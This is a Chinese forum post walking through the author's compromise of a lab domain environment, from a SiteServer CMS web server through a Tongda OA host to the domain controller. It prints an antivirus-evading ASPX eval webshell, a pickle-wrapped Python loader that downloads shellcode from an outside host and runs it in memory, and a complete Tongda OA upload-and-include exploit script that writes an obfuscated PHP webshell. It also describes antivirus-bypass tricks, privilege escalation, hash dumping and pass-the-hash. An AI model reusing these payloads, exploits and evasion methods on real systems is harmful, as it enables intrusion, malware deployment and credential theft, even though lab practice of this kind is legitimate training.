好久一段时间没在论坛发帖了,最近几天自己无聊打了几个域环境靶场,记录一下,顺便到论坛,技术含量不高,本文也是提供一个思路 还有许多漏洞没有复现到如果有错误请各位大佬见谅。
web服务器两个IP:192.168.0.114(桥接),10.10.1.131(VM18) 开启了防火墙,装有安全狗,开启了windows自带杀软
OA系统IP:10.10.1.130(VM18),10.10.10.166(VM19) 开启了防护墙,360全家桶(360卫士+360杀软)
域控:10.10.10.165(VM19) 无任何防护软件
虚拟机网卡配置如下:
web服务器需要添加两块网卡:一块用于桥接,一块10.10.1.0/24网段(VM18)
OA服务器需要添加两块网卡:一块10.10.1.0/24(VM18),一块10.10.10.0/24(VM19)
DC域控一张网卡:10.10.10.0/24(VM19)
3台机器的密码如下:
渗透最终目的:获得域控中的flag.txt文件中的内容(本文使用的方法是最简单,最快拿到权限的方法,还有其他方法)
ps:由于各种原因,暗月师傅并未放出靶场中所要用到的软件以及工具,所有软件和工具都是自己从网上收集的,如有需要会放出所需要的工具。
在访问之前需要将域名和ip进行绑定
绑定之后即可成功访问
打开发现是一片空白,随手输入robots.txt查看
发现存在敏感目录,访问/SiteServer/
发现是个CMS,百度搜索该CMS漏洞找到一个管理员密码重置漏洞
将浏览器JS禁用之后来到密码找回处,成功找回管理员密码
账号admin 密码admin5566 成功登陆后台
后台拿shell方法很多,这里用最简单的 显示管理-模板管理
直接在这里保存一句话即可,因为服务器装有安全狗,所以需要免杀的一句话马,以下是aspx的免杀一句话,密码为1
<%@ Page Language="Jscript" Debug=true%>
<%
var SE=Request.Form["1"];
var SMQ="unsa",FWJVPDC="fe",PZEGHR=SMQ+FWJVPDC;
function AJHB()
{
return SE;
}
function NCBRJ()
{
eval(AJHB(),PZEGHR);
}
NCBRJ()
%>
保存之后马存放在网站根目录 http://www.moonlab.com/1.aspx 直接菜刀连接。
成功连接,执行命令发现会拒绝访问,因为服务器有安全狗,需要使用过狗菜刀
发现当前权限为iis apppool\moonlab 查看一下系统进程,检查是否存在杀软
发现存在安全狗以及Microsoft Security Essentials(微软自带杀软),查看打了多少补丁寻找EXP
发现只打了2个补丁,这里使用printspoofer来提权
成功执行,system权限,上CS进行后渗透操作
使用powershell上线失败,需要进行免杀处理。
使用cs生成一个python格式的shellcode
生成之后将shellcode进行base64编码
将base64之后的shellcode放在web服务器中
将以下代码中的web服务器改成自己的web服务器地址
#coding:utf-8
import pickle
import base64
shellcode = """
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://192.168.0.107/shellcode.txt').read()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
string=b'Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgICAgIGN0eXBlcy5jX3VpbnQ2NChwdHIpLCAKICAgICAgICBidWYsIAogICAgICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKICAgICk='
eval(str(base64.b64decode(string),'utf-8'))
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""
class A(object):
def __reduce__(self):
return(exec,(shellcode,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
ret_decode = base64.b64decode(ret_base64)
执行之后得到的shellcode替换进去
import base64,pickle
shellcode = b'gASVywQAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFisBAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAogCnNoZWxsY29kZSA9IHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly8xOTIuMTY4LjAuMTA3L3NoZWxsY29kZS50eHQnKS5yZWFkKCkKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShzaGVsbGNvZGUpCnNoZWxsY29kZSA9Y29kZWNzLmVzY2FwZV9kZWNvZGUoc2hlbGxjb2RlKVswXQpzaGVsbGNvZGUgPSBieXRlYXJyYXkoc2hlbGxjb2RlKQojIOiuvue9rlZpcnR1YWxBbGxvY+i/lOWbnuexu+Wei+S4umN0eXBlcy5jX3VpbnQ2NApjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CiMg55Sz6K+35YaF5a2YCnB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksIGN0eXBlcy5jX2ludCgweDQwKSkKIAojIOaUvuWFpXNoZWxsY29kZQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihzaGVsbGNvZGUpKS5mcm9tX2J1ZmZlcihzaGVsbGNvZGUpCgpzdHJpbmc9YidZM1I1Y0dWekxuZHBibVJzYkM1clpYSnVaV3d6TWk1U2RHeE5iM1psVFdWdGIzSjVLQW9nSUNBZ0lDQWdJR04wZVhCbGN5NWpYM1ZwYm5RMk5DaHdkSElwTENBS0lDQWdJQ0FnSUNCaWRXWXNJQW9nSUNBZ0lDQWdJR04wZVhCbGN5NWpYMmx1ZENoc1pXNG9jMmhsYkd4amIyUmxLU2tLSUNBZ0lDaz0nCmV2YWwoc3RyKGJhc2U2NC5iNjRkZWNvZGUoc3RyaW5nKSwndXRmLTgnKSkKCiMg5Yib5bu65LiA5Liq57q/56iL5LuOc2hlbGxjb2Rl6Ziy5q2i5L2N572u6aaW5Zyw5Z2A5byA5aeL5omn6KGMCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY191aW50NjQocHRyKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQojIOetieW+heS4iumdouWIm+W7uueahOe6v+eoi+i/kOihjOWujApjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoY3R5cGVzLmNfaW50KGhhbmRsZSksY3R5cGVzLmNfaW50KC0xKSmUhZRSlC4='
pickle.loads(base64.b64decode(shellcode))
保存之后编译运行查看是否能正常上线
本地上线成功,上传到webshell中以system权限运行(菜刀会提示超时,但实际上CS还是上线了)
先进行常规的信息收集,查看ip地址,是否存在域等操作。
发现存在10.10.1.0/24网段,且不在域中 WORKGROUPS 是工作组的意思(具体的可以百度一下,这里不详细讲解)。因为不在域中,所以开个socket代理出来,这里用cs自带的开启一个socket隧道
使用sockscap64进行socket代理,要注意区分socks5和socks4区别(以下对10.10.1.0网段渗透都是基于socket代理中进行的)
我这里用了K8gege的Ladon来对内网进行扫描
这里发现了3台机子,130是OA 131是web服务器 1是我本机。接着对OA进行端口扫描
发现是通达OA系统, 弱口令无果,尝试使用前段时间爆出来的未授权+文件上传,脚本是吐司某位大佬写的,根据自己的需求修改了写入马的内容
import os
import requests
shell = '''<?php
$fp = fopen('readme.php', 'w+');
$a = base64_decode("JTNDJTNGcGhwJTBBY2xhc3MlMjBPSFdHJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcHVibGljJTIwJTI0WENJRiUyMCUzRCUyMG51bGwlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBwdWJsaWMlMjAlMjRVQ1laJTIwJTNEJTIwbnVsbCUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGZ1bmN0aW9uJTIwX19jb25zdHJ1Y3QoKSU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGlmKG1kNSglMjRfR0VUJTVCJTIycGFzcyUyMiU1RCklM0QlM0QlMjJkZjI0YmZkMTMyNWY4MmJhNWZkM2QzYmUyNDUwMDk2ZSUyMiklN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjR0aGlzLSUzRVhDSUYlMjAlM0QlMjAnbXYzZ2MzYmllcnB2YXQydGtybnh1emxzbjVvc3NveSclM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjR0aGlzLSUzRVVDWVolMjAlM0QlMjAlNDBOWUVNKCUyNHRoaXMtJTNFWENJRiklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNDBldmFsKCUyMiUyRipQV0dtSiUyQksqJTJGJTIyLiUyNHRoaXMtJTNFVUNZWi4lMjIlMkYqUFdHbUolMkJLKiUyRiUyMiklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlN0QlN0QlMEFuZXclMjBPSFdHKCklM0IlMEFmdW5jdGlvbiUyMEFUQ1UoJTI0R0VRSiklN0IlMEElMjAlMjAlMjAlMjAlMjRCQVNFMzJfQUxQSEFCRVQlMjAlM0QlMjAnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoyMzQ1NjcnJTNCJTBBJTIwJTIwJTIwJTIwJTI0TkdQTSUyMCUzRCUyMCcnJTNCJTBBJTIwJTIwJTIwJTIwJTI0diUyMCUzRCUyMDAlM0IlMEElMjAlMjAlMjAlMjAlMjR2Yml0cyUyMCUzRCUyMDAlM0IlMEElMjAlMjAlMjAlMjBmb3IlMjAoJTI0aSUyMCUzRCUyMDAlMkMlMjAlMjRqJTIwJTNEJTIwc3RybGVuKCUyNEdFUUopJTNCJTIwJTI0aSUyMCUzQyUyMCUyNGolM0IlMjAlMjRpJTJCJTJCKSU3QiUwQSUyMCUyMCUyMCUyMCUyNHYlMjAlM0MlM0MlM0QlMjA4JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0diUyMCUyQiUzRCUyMG9yZCglMjRHRVFKJTVCJTI0aSU1RCklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjR2Yml0cyUyMCUyQiUzRCUyMDglM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aGlsZSUyMCglMjR2Yml0cyUyMCUzRSUzRCUyMDUpJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0dmJpdHMlMjAtJTNEJTIwNSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNE5HUE0lMjAuJTNEJTIwJTI0QkFTRTMyX0FMUEhBQkVUJTVCJTI0diUyMCUzRSUzRSUyMCUyNHZiaXRzJTVEJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0diUyMCUyNiUzRCUyMCgoMSUyMCUzQyUzQyUyMCUyNHZiaXRzKSUyMC0lMjAxKSUzQiU3RCU3RCUwQSUyMCUyMCUyMCUyMGlmJTIwKCUyNHZiaXRzJTIwJTNFJTIwMCklN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjR2JTIwJTNDJTNDJTNEJTIwKDUlMjAtJTIwJTI0dmJpdHMpJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0TkdQTSUyMC4lM0QlMjAlMjRCQVNFMzJfQUxQSEFCRVQlNUIlMjR2JTVEJTNCJTdEJTBBJTIwJTIwJTIwJTIwcmV0dXJuJTIwJTI0TkdQTSUzQiU3RCUwQWZ1bmN0aW9uJTIwTllFTSglMjRHRVFKKSU3QiUwQSUyMCUyMCUyMCUyMCUyNE5HUE0lMjAlM0QlMjAnJyUzQiUwQSUyMCUyMCUyMCUyMCUyNHYlMjAlM0QlMjAwJTNCJTBBJTIwJTIwJTIwJTIwJTI0dmJpdHMlMjAlM0QlMjAwJTNCJTBBJTIwJTIwJTIwJTIwZm9yJTIwKCUyNGklMjAlM0QlMjAwJTJDJTIwJTI0aiUyMCUzRCUyMHN0cmxlbiglMjRHRVFKKSUzQiUyMCUyNGklMjAlM0MlMjAlMjRqJTNCJTIwJTI0aSUyQiUyQiklN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjR2JTIwJTNDJTNDJTNEJTIwNSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGlmJTIwKCUyNEdFUUolNUIlMjRpJTVEJTIwJTNFJTNEJTIwJ2EnJTIwJTI2JTI2JTIwJTI0R0VRSiU1QiUyNGklNUQlMjAlM0MlM0QlMjAneicpJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0diUyMCUyQiUzRCUyMChvcmQoJTI0R0VRSiU1QiUyNGklNUQpJTIwLSUyMDk3KSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUyMGVsc2VpZiUyMCglMjRHRVFKJTVCJTI0aSU1RCUyMCUzRSUzRCUyMCcyJyUyMCUyNiUyNiUyMCUyNEdFUUolNUIlMjRpJTVEJTIwJTNDJTNEJTIwJzcnKSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNHYlMjAlMkIlM0QlMjAoMjQlMjAlMkIlMjAlMjRHRVFKJTVCJTI0aSU1RCklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMjBlbHNlJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZXhpdCgxKSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNHZiaXRzJTIwJTJCJTNEJTIwNSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHdoaWxlJTIwKCUyNHZiaXRzJTIwJTNFJTNEJTIwOCklN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjR2Yml0cyUyMC0lM0QlMjA4JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0TkdQTSUyMC4lM0QlMjBjaHIoJTI0diUyMCUzRSUzRSUyMCUyNHZiaXRzKSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNHYlMjAlMjYlM0QlMjAoKDElMjAlM0MlM0MlMjAlMjR2Yml0cyklMjAtJTIwMSklM0IlN0QlN0QlMEElMjAlMjAlMjAlMjByZXR1cm4lMjAlMjROR1BNJTNCJTdEJTBBJTNGJTNFJTBB");
fwrite($fp, urldecode($a));
fclose($fp);
?>
'''
# 输入目标
url = input("input the TARGET(example:[url]https://127.0.0.1:1080[/url])>")
# 定义上传目录和包含目录
upload_url = url+"/ispirit/im/upload.php"
include_url = url+"/ispirit/interface/gateway.php"
# 定义shell目录,如果要修改名字,需要把shell里面的一起改了
shell_url = url+"/ispirit/interface/readme.php"
files = {'ATTACHMENT': shell}
# 参见源码,有漏洞的版本只要POST P和DEST_UID参数就会自动生成session
upload_data = {"P": "123", "DEST_UID": "1", "UPLOAD_MODE": "2"}
# 上传
upload_res = requests.post(upload_url, upload_data, files=files)
# 此时会返回上传文件的路径
path = upload_res.text
# 解析返回值获取上传地址
path = path[path.find('@')+1:path.rfind('|')
].replace("_", "\/").replace("|", ".")
# 由于上传文件会自动改为jpg,所以要用gateway.php包含
include_data = {"json": "{\"url\":\"/general/../../attach/im/" + path+"\"}"}
# 包含+自动写入shell
include_res = requests.post(include_url, data=include_data)
print('shell is here:'+shell_url)
这里使用蚁剑来连接,要设置代理,不然连接不到10.10.1.0网段
成功连上webshell,先查看是否存在杀软,方便上CS进行后续操作
很明显的存在360,需要进行免杀处理,这里因为是在内网10.10.1.0网段,不出外网(192.168.0.0),所以这里cs监听器要修改成用bind直连方式。
生成payload的时候要选择Windows Executable(Stageless) 该木马是生成无阶段后门,适用于不出网情况下。
免杀360有个小技巧,只需要将图标替换成360的icon即可过360,以下是默认生成的cs生成出来直接被杀
使用Restorator 2007进行图标替换之后360杀毒查杀如下 ps:此方法只能临时用一下,并不能长久免杀,尤其是在联网情况下,不过靶机是不出外网可以使用此方法一试。
上传到webshell之后先关闭防火墙然后运行,之后cs需要主动连接目标ip以及端口
成功GET system权限上线,接下来要对内网信息收集,这里我使用的是CS插件帮我来信息收集
得到域控主机名,直接ping主机名获得域控IP地址
域控IP为10.10.10.165,先将本机上所有密码以及Hash抓取
上面直接抓到ATTCK域中administrator账户的hash,尝试PTH(在PTH之前要新建一个SMB监听器)
成功拿到域控权限
接着查找域控中的flag文件,并且成功读取flag中内容
刚开始打的时候其实遇到很多的问题,当时没有过狗的菜刀,执行命令一直被拦截,换了好几个webshell管理工具都被拦截,最后在某个工具包翻到了过狗菜刀。在web服务器上提权的时候printspoofer会被杀掉,但是今天重新打一次发现并没被杀有点奇怪。后面内网渗透方面其实可以有更多细节,但是由于很多原因没写进去(电脑太卡了)。打了此靶场之后还是学到了不少的技巧,也算是入门域渗透了吧,最主要的是渗透时候的思路。
域内横向渗透,除了常规的横向渗透外,还可以使用域内独有的横向渗透方法:
域渗透之MS14-068(CVE-2014-6324)
域渗透之Kerberoast攻击
域渗透之委派攻击
NTLM Relay攻击
AS-REP Roasting攻击
Bypass Applocker
Zerologon(CVE-2020-1472)
当拿到域内管理员权限之后,需要想办法导出域内所有信息,这些信息都存放在域控的NTDS.dit文件中,导出域内用户散列值,拿到KDC的krbtgt用户的hash之后可以伪造黄金票据进行权限维持,常见权限维持如下
域控权限持久化之票据传递攻击(Pass the Ticket,PtT)
域控权限持久化之SID History域后门
域控权限持久化之Skeleton Key(万能密码)
域控权限持久化之DSRM后门
域控权限持久化之SSP安全服务提供
域控权限持久化之Hook PasswordChangeNotify
利用委派打造隐蔽后门(权限维持)
最后给个小提示web服务器最好不要能上网,因为上网之后病毒库会自动更新,免杀起来就比较麻烦(当时因为更新了,弄免杀弄了我好一段时间)
靶场地址: https://pan.baidu.com/s/12pSYxSU-ZmurQ9--GFiaXQ 提取码: 3p47 复制这段内容后打开百度网盘手机App,操作更方便哦
参考链接:
http://47.100.48.4/index.php/archives/1024/
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
veek | 200.00 | 0 | 2021-02-05 10:10:43 | 知识点丰富~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
xiaoc
发表于 2021-2-6
好久没见到药酱了
评论列表
加载数据中...
lieren
发表于 2021-4-26
好强的骚操作
评论列表
加载数据中...
Yaoヽ药药
发表于 2021-6-1
现在要忙于工作 学业 爱情,唉 很累 没有以前那么闲了
评论列表
加载数据中...